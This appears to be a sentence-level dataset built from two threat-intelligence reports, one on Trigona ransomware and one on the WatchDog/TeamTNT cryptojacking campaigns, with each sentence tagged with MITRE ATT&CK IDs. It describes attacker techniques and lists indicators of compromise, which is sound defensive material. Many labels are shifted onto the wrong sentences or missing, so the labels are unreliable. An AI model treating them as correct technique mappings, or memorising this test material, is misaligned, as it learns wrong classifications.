ransomware binary was named svhost.exe to mimic the legitimate Windows binary svchost.exe.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Credentials from Password Stores Trigona operators use Mimikatz to dump passwords. T1003.001.", "labels": ["T1003.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "OS Credential Duping: LSASS Memory Trigona operators use Mimikatz to dump passwords from LSASS.", "labels": ["T1003.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "TA0007 Discovery T1046.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Network Service Discovery Trigona operators use NetScan to enumerate hosts within victims’ domains that might be vulnerable to remote software exploitation. T1069.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Permission Groups Discovery Trigona operators use NetScan to enumerate the security-enabled local group membership of the Administrators group. T1021.001.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Remote Desktop Protocol Trigona operators utilize RDP to move laterally in the victim’s environment.", "labels": ["T1021.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "TA0008 Lateral Movement T1570.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Lateral Tool Transfer Trigona operators use Splashtop to transfer malicious tools from computer to computer in the victim’s environment.", "labels": ["T1570"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "TA0011 Command and Control T1105.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Ingress Tool Transfer Trigona operators utilize Splashtop to transfer netscan.exe, netscan.lic, netscan.xml, newuser.bat, start.bat and turnoff.bat. T1219.", "labels": ["T1072"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Remote Access Software Trigona operators install and execute remote access tools such as Splashtop on targeted systems.", "labels": ["T1219"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Data Encrypted for Impact Trigona ransomware encrypts files with the ._locked file extension.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "T1489.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Service Stop Turnoff.bat uses sc stop and taskkill to stop services related to remote desktop tools (e.g., ScreenConnect, LogMeIn and TeamViewer), as well as VMware, Hyper-V and SQL. T1490.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Inhibit System Recovery Trigona operators use Turnoff.bat to delete Volume Shadow Copies. Conclusion Trigona is a newer strain of ransomware that, to date, has had minimal coverage by security news articles.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "This lack of security community awareness allows Trigona to discreetly attack victims while other higher-profile ransomware operations dominate the news headlines.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "We hope that shining a light on Trigona and its uncommon technique of using password-protected executables to obfuscate malware helps defenders better protect their organizations against this threat.", "labels": ["T1027"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Due to the stream of victims identified by the Unit 42 team and Trigona’s currently developing leak site, the operator and/or affiliates behind the ransomware likely will continue (and possibly even ramp up) its malicious activity.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Palo Alto Networks customers receive protections from Trigona threats through the following products: WildFire currently lists all known binaries of Trigona as malicious, which will trigger alerting within Prisma Cloud and Cortex XDR.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Prisma Cloud will detect any instance of this malware being executed through properly configured Defender agents using Wildfire.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Additionally, Prisma Cloud Defender agents can be installed on Windows 2016 and 2019 servers, as well as on Windows Docker Container hosts.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Learn more about the Cyber Threat Alliance. Indicators of Compromise IoC Note bef87e4d9fcaed0d8b53bce84ff5c5a70a8a30542100ca6d7822cbc8b76fef13 svhost.exe (Ransomware Binary) 853909af98031c125a351dad804317c323599233e9b14b79ae03f9de572b014e Splashtop 24123421dd5b78b79abca07bf2dac683e574bf9463046a1d6f84d1177c55f5e5 Netscan 4724EE7274C31C8D418904EE7E600D92680A54FECDAC28606B1D73A28ECB0B1E Netscan 9c8a4159166062333f2f74dd9d3489708c35b824986b73697d5c34869b2f7853 Netscan e22008893c91cf5bfe9f0f41e5c9cdafae178c0558728e9dfabfc11c34769936 Netscan 8d069455c913b1b2047026ef290a664cef2a2e14cbf1c40dce6248bd31ab0067 Netscan 544a4621cba59f3cc2aeb3fe34c2ee4522593377232cd9f78addfe537e988ddc start.bat a15c7b264121a7c202c74184365ca13b561fb303fb8699299039a59ab376adc6 turnoff.bat b7fba3abee8fd3bdac2d05c47ab75fdaa0796722451bed974fb72e442ab4fefd newuser.bat e5cf252041045b037b9a358f5412ae004423ad23eac17f3b03ebef7c8147a3bb Mimikatz 5603d4035201a9e6d0e130c561bdb91f44d8f21192c8e2842def4649333757ab Mimikatz 69f245dc5e505d2876e2f2eec87fa565c707e7c391845fa8989c14acabc2d3f6 Mimikatz phandaledr@onionmail[.]org Ransom note contact email farusbig@tutanota[.]com Ransom note contact email how_to_decrypt.hta Ransom note name 94979b61bba5685d038b4d66dd5e4e0ced1bba4c41ac253104a210dd517581b8 DC2.exe 9c8a4159166062333f2f74dd9d3489708c35b824986b73697d5c34869b2f7853 DC4.exe c5d09435d428695ce41526b390c17557973ee9e7e1cf6ca451e5c0ae443470ca DC6.exe 3x55o3u2b7cjs54eifja5m3ottxntlubhjzt6k6htp5nrocjmsxxh7ad[.]onion Trigona TOR negotiation portal 45.227.253[.]99 IP address associated with Trigona activity 45.227.253[.]106 IP address currently hosting Trigona leak site 45.227.253[.]98 IP address associated with Trigona activity 45.227.253[.]107 IP address associated with Trigona activity Additional Resources Product Protection Guide Product/Service Course of Action Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The below courses of action mitigate the following techniques: Command and Scripting Interpreter [T1059], Create Account", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1136], Account Manipulation [T1098], Local Account [T1136.001], File Deletion", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1070.004], Modify Registry", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1112], Disable or Modify Tools [T1562.001], Disable or Modify System Firewall", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1562.004], Deobfuscate/Decode Files or Information", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1140], Match Legitimate Name or Location", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1036.005], Disable Windows Event Logging", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1562.002], Obfuscated Files or Information [T1027], Clear Windows Event Logs", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1070.001], Masquerade Task or Service [T1036.004], Credentials from Password Stores", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1555], OS Credential Dumping [T1003], LSASS Memory [T1003.001], System Network Configuration Discovery", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1016],", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "System Information Discovery", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1082], Network Service Discovery [T1046], Permission Groups Discovery", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1069],", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1021.001], Lateral Tool Transfer [T1570], Software Deployment Tools", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1072], Registry Run Keys / Startup Folder [T1547.001], Accessibility Features", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1546.008], Bypass User Account Control", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1548.002] Next-Generation Firewalls Ensure that the User-ID Agent has minimal permissions if User-ID is enabled Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones Ensure that the User-ID service account does not have interactive logon rights Ensure that 'Include/Exclude Networks' is used if User-ID is enabled Ensure remote access capabilities for the User-ID service account are forbidden.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Ensure that User-ID is only enabled for internal trusted interfaces Define at least one 'Include Network'.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Ensure that all zones have Zone Protection Profiles with all Reconnaissance Protection settings enabled, tuned, and set to appropriate actions Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Cortex XSOAR Deploy XSOAR Playbook - Access Investigation Playbook Deploy XSOAR Playbook - Block Account Generic Deploy XSOAR Playbook - Impossible Traveler Deploy XSOAR Playbook - Port Scan Deploy XSOAR Playbook Cortex XDR - Isolate Endpoint Cortex XDR Prevent Configure Behavioral Threat Protection under the Malware Security Profile Enable Anti-Exploit Protection Configure Restrictions Security Profile Enable Anti-Malware Protection Configure Host Firewall Profile Threat Prevention Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats Ensure a secure antivirus profile is applied to all relevant security policies Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Ensure that all zones have Zone Protection Profiles with all Reconnaissance Protection settings enabled, tuned, and set to appropriate actions Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Cortex XSOAR Deploy XSOAR Playbook - Access Investigation Playbook Deploy XSOAR Playbook - Block Account Generic Deploy XSOAR Playbook - Impossible Traveler Deploy XSOAR Playbook - Port Scan Deploy XSOAR Playbook Cortex XDR - Isolate Endpoint Cortex XDR Prevent Configure Behavioral Threat Protection under the Malware Security Profile Enable Anti-Exploit Protection Configure Restrictions Security Profile Enable Anti-Malware Protection Configure Host Firewall Profile Threat Prevention Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats Ensure a secure antivirus profile is applied to all relevant security policies Persistence, Privilege Escalation, Defense Evasion", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1070.001], Masquerade Task or Service [T1036.004], Registry Run Keys / Startup Folder [T1547.001], Accessibility Features", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Cortex XSOAR Deploy XSOAR Playbook - Access Investigation Playbook Deploy XSOAR Playbook - Block Account Generic Deploy XSOAR Playbook - Impossible Traveler Cortex XDR Prevent Configure Behavioral Threat Protection under the Malware Security Profile Enable Anti-Exploit Protection Configure Restrictions Security Profile Enable Anti-Malware Protection Persistence, Privilege Escalation, Defense Evasion", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The below courses of action mitigate the following techniques: File Deletion [T1070.004], Modify Registry", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1548.002] Cortex XDR Prevent Configure Behavioral Threat Protection under the Malware Security Profile Enable Anti-Exploit Protection Configure Restrictions Security Profile Enable Anti-Malware Protection Privilege Escalation, Defense Evasion", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1070.001], Masquerade Task or Service [T1036.004], Bypass User Account Control", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1548.002] Cortex XDR Prevent Configure Behavioral Threat Protection under the Malware Security Profile Enable Anti-Exploit Protection Configure Restrictions Security Profile Enable Anti-Malware Protection Defense Evasion", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1070.001], Masquerade Task or Service [T1036.004] Cortex XDR Prevent Configure Behavioral Threat Protection under the Malware Security Profile Enable Anti-Exploit Protection Configure Restrictions Security Profile Enable Anti-Malware Protection Credential Access The below courses of action mitigate the following techniques: Credentials from Password Stores", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1555], OS Credential Dumping [T1003], LSASS Memory [T1003.001] Cortex XDR Prevent Enable Anti-Exploit Protection Enable Anti-Malware Protection Discovery", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1082], Network Service Discovery [T1046], Permission Groups Discovery [T1069] Next-Generation Firewalls Ensure that all zones have Zone Protection Profiles with all Reconnaissance Protection settings enabled, tuned, and set to appropriate actions Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Cortex XSOAR Deploy XSOAR Playbook - Port Scan Lateral Movement", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1021.001], Lateral Tool Transfer [T1570] Next-Generation Firewalls Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure remote access capabilities for the User-ID service account are forbidden.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Ensure that the User-ID Agent has minimal permissions if User-ID is enabled Ensure that User-ID is only enabled for internal trusted interfaces Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Ensure that the User-ID service account does not have interactive logon rights Ensure that all zones have Zone Protection Profiles with all Reconnaissance Protection settings enabled, tuned, and set to appropriate actions Ensure that 'Include/Exclude Networks' is used if User-ID is enabled Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Cortex XDR Prevent Configure Host Firewall Profile Cortex XSOAR Deploy XSOAR Playbook - Access Investigation Playbook Deploy XSOAR Playbook - Block Account Generic Threat Prevention Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats Ensure a secure antivirus profile is applied to all relevant security policies Command and Control", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The below courses of action mitigate the following techniques: Remote Access Software [T1219],", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Ingress Tool Transfer [T1105] Next-Generation Firewalls Ensure that the Certificate used for Decryption is Trusted Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Ensure 'SSL Forward Proxy Policy' for traffic destined to the Internet is configured Ensure 'SSL Inbound Inspection' is required for all untrusted traffic destined for servers using SSL or TLS Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Setup File Blocking Threat Prevention Ensure DNS sinkholing is configured on all anti-spyware profiles in use Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the Internet Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats Ensure a secure antivirus profile is applied to all relevant security policies URL Filtering Ensure secure URL filtering is enabled for all security policies allowing traffic to the Internet Ensure all HTTP Header Logging options are enabled Ensure that PAN-DB URL Filtering is used Ensure that URL Filtering uses the action of “block” or “override” on the URL categories", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Ensure that access to every URL is logged Cortex XSOAR Deploy XSOAR Playbook - PAN-OS Query Logs for Indicators Deploy XSOAR Playbook - Hunting C&C Communication Playbook (Deprecated) Deploy XSOAR Playbook - Block URL Deploy XSOAR Playbook - Block IP Cortex XDR Prevent XDR BIOCs / ABIOCs Impact", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The below courses of action mitigate the following techniques: Data Encrypted for Impact [T1486], Service Stop [T1489],", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Product Protection Guide.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "This post is also available in: 日本語 (Japanese)Author's Note New evidence has emerged that suggests the group WatchDog was behind a cryptojacking campaign that we attributed to TeamTNT in a blog published on June 8, 2021.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "This updated information changed our view on the evidence initially gathered by Unit 42 researchers.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Specifically, the domain oracle.zzhreceive[.]top was originally linked to TeamTNT operations due to the usage of the term zzhreceive, which has been witnessed within several TeamTNT operations.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Given recent developments and the growing analytic visibility within the cloud research community, this domain has now been attributed to the cryptojacking operations associated with the group WatchDog.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The following is an update of our original blog, more accurately aligned to the current intelligence community information regarding WatchDog’s mimicry of TeamTNT operations.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Executive Summary The copying and incorporation of cryptomining operational codebase or script functions have become a central behavioral indicator of cryptojacking groups and their operations.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Unit 42 researchers have identified tactics, techniques and procedures (TTPs) used by the TeamTNT cryptojacking group being used by the WatchDog cryptojacking group.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The new scripts from WatchDog are overtly copying TeamTNT infrastructure naming conventions and using a known WatchDog C2 hosting system, 199.199.226[.]117.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "With the identification of these new WatchDog scripts, Unit 42 researchers found that techniques that have been synonymous with the TeamTNT group have gone missing.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "For instance, the new scripts do not: Researchers have also observed that the new WatchDog scripts do not use the exploit-laden GoLang binaries traditionally associated with WatchDog.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "While WatchDog is believed to be the author of these new scripts, several of the scripts were found within TeamTNT-owned public malware repositories.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "It appears that WatchDog may be attempting to expand their cryptojacking operations, while simultaneously masking their operations to appear more like the known cryptojacking operations performed by TeamTNT.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The stealing, hijacking or incorporation of cryptojacking TTPs within other cryptojacking operations has become a common trend within cryptojacking groups.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Most notably, TeamTNT was reported to have copied the code used to detect and remove Alibaba Cloud Security from compromised instances from the Kinsing group.", "labels": ["T1518.001"], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Also, cryptojacking groups such as “Rocke” began as a forked GitHub repository from the cryptojacking operation created by “The 8220 Mining Group.”", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "This operation shares up to 30% of its cryptomining code base with tools developed by the group “Pacha.”", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Pacha and Rocke were subsequently involved in a documented crypto war, which has lasted nearly two years.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "While little research has been written on recent Pacha operations, Rocke is still developing new malware.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Palo Alto Networks customers running Prisma Cloud are protected from the threats presented in this report through the Runtime Protection feature, Cryptominer Detection feature and the Prisma Cloud Compute Kubernetes Compliance Protection, which alerts on an insufficient Kubernetes configuration and provides secure alternatives.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Additionally, Palo Alto Networks VM-Series and CN-Series products offer cloud protections that can prevent network connections from cloud instances toward known malicious IP addresses and URLs.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "New WatchDog Malware There are two samples that show the evolution of WatchDog techniques to mimic TeamTNT operations, 36ca9f84864ad022c255b7d91e75997f035716e4df5dc1c90ee2651f092f5d79 and 49366ae4766492d94136ca1f715a37554aa6243686c66bf3c6fbb9da9cb2793d.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "These samples, first witnessed on Dec. 5 and 11, 2020, respectively, show the direct replacement of the known WatchDog C2 infrastructure with new C2 infrastructure.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "As shown in Figure 1, the original WatchDog infrastructure, in the dark blue rectangle, has been commented out of the bash script functionality and replaced with the new infrastructure seen in the light blue rectangle.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "WatchDog infrastructure replacement.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The new script also makes use of the exact URL address directory tree pattern that is present within the known WatchDog operations, with the directories b2f628 (red) and b2f628fff19fda999999999 (orange), as shown in Figure 2. Figure 2. URL directory pattern.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "These two samples contain a hardcoded Monero (XMR) wallet address and an associated mining pool, as shown in Figure 3. Figure 3.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Monero wallet and associated mining pool.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Mining Pools If these changes are indeed new TeamTNT behaviors, which is highly unlikely, it would represent the first time the TeamTNT cryptojacking operations have used a mining pool outside their traditional Monero mining pool, MoneroOcean[.]stream.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "This cryptojacking operation introduces two new mining pools never before known to be used by TeamTNT actors, but have been witnessed within WatchDog operations.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "These mining pools are nanopool[.]org, shown in Figure 4, and f2pool[.]com, shown in Figure 5.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The new mining pools are both instructed to use the Monero wallet address, 43Xbgtym2GZWBk87XiYbCpTKGPBTxYZZWi44SWrkqqvzPZV6Pfmjv3UHR6FDwvPgePJyv9N5PepeajfmKp1X71EW7jx4Tpz.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Nanopool mining operation.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "F2pool mining operation.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Mining Pool Worker Information Of note are the names of the mining pool workers associated with this Monero wallet address within the mining pools.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "According to nanopool[.]org records related to this Monero wallet address, there are a total of 20 unique workers, as shown in Figure 6. Figure 6.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Nanopool mining operation workers.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The following table, Table 1, lists 19 of the currently known malicious samples which contain the Monero wallet address, the Nanopool mining pool and the name of one of the workers listed within Figure 6. SHA256 Worker 0414946ab4bced2c1c41f4b8a75be672b34bbdee6f29e0a0bf7946b93f7044b1 3910 34b547b567309618422d7075322ddf5b9e0b3a4fb652f3845d12fd649f23923e 3910 62957aa4421c044927269e9bf3300515cf01225fd4c3c3811f8ebfac7a9f8585 3910 f235c021baa6c8801e724d45003b1b1541eea5483810abc9c3eb4df6bf05afbf 3910 2bc6c21d35ed63b135b4723444a9ac532e4cb6aaa2bbd63c557136edb4e4756f crondk1 cbf54a9e5771fcb3760e4e282f003a879164e76b9df9fed0fe4e4e8aaaef11ae crondk1 428633aee75f7c69a7c0612e591d5fcecbcf13619d6c05b86c8303a248c7c8d7 dk2 7b6f7c48256a8df2041e8726c3490ccb6987e1a76fee947e148ea68eee036889 dk2 10fb8d16f7d168340be28c6d0ba94e10c15370c8747d97bc0e5fad4b4466cf09 dream 3b280a4017ef2c2aef4b3ed8bb47516b816166998462899935afb39b533890ad dream 8adc8be4b7fa2f536f4479fa770bf4024b26b6838f5e798c702e4a7a9c1a48c6 dream af611a41c55e9afcfaced8b067a470caa70825fce0a44167f44a8d3880ae6674 dream e1d7014b84618cd7fbf94439c78fe7d67f351cbc5536885fa3d94ea15325d83b dream eca42c42f0909cf4e6df6bf8de35ab93ef6a3dd10d0d5e556721ec1871a9990c dream ae6822d1fd097e8c52cea3731cd49f50600b7da83e9f0ea6dbc689685f907739 dream3 3b280a4017ef2c2aef4b3ed8bb47516b816166998462899935afb39b533890ad dream5 ae3e4a1c8a2b661265e6c8c756e3ba472dc7177cae79fe1861ab0c2d1af5167a dream6 8adc8be4b7fa2f536f4479fa770bf4024b26b6838f5e798c702e4a7a9c1a48c6 dream8 33da23085fb6fd7aad89e0c55b7ccbc2ee50fec4e8e31030e4b2a4ef034ac5f6 pokemon2 Table 1.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Malware samples with hardcoded Nanopool mining operation workers.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "There were also 13 malicious samples containing the 43Xb Monero wallet address, but these samples are designed to use the f2pool[.]com mining pool instead of the nanopool[.]org Monero mining pool (see Table 2).", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "SHA256 Worker WatchDog Wallet f235c021baa6c8801e724d45003b1b1541eea5483810abc9c3eb4df6bf05afbf 3910 3d8a6f5d8162e8eb78e7b95384ec6418f65b904dffa8fd983a6a19a5645ad707 clean c141eaeab461a2481124a73ee2d254301573d8722dbf3221f5fc54d7770e67a2 clean Yes 64072e7c56895f59124c4e26e0dd65a4de0bd8280c83372c18f9835978cda0e9 clean 30f0207b74d6d2d17cd8f4dc9f9131bd8763702f19c87ce74ea13a634f52c995 clean Yes 7a8c91f4228be4d36e1087acc9bb046373ddfde506fe4645ad1b0967c08bfa8b clean Yes 7848fc64c9977796dcc0ee67c293f006d715d3b3e257a3c0f4654cefab637c45 clean Yes 3e6cf5ae8ce6ff7305da4e218a20ec7f57933235ec07d7ff6e6a18c7c844ff29 clean Yes 8d9bdcae4a4559e52b3d03209a1ef880e948d9f3969f7779119d9322c5f7cf7c clean Yes ab73aedbee66081cd047b19a4bb036f85791a9ae9abc90545c5d8756bbc2a428 clean Yes eca42c42f0909cf4e6df6bf8de35ab93ef6a3dd10d0d5e556721ec1871a9990c dream e47802d7f44fc9e594b89ef33298367d21695d5ec1ae5e6c526b9f3124c555ca Undefined cf890e288f4fb7a2cfb0aa7e91229cc51c224e767c6ca69bbbb9d06e999ede64 Undefined Table 2.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Malware samples with hardcoded f2pool mining pool operation workers.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Seven samples within the previous table contain instructions to find and remove any processes using the WatchDog-identified 43XB Monero wallet address, as shown in Figure 7. Figure 7.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Identification and killing of processes using the WatchDog Monero address.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest 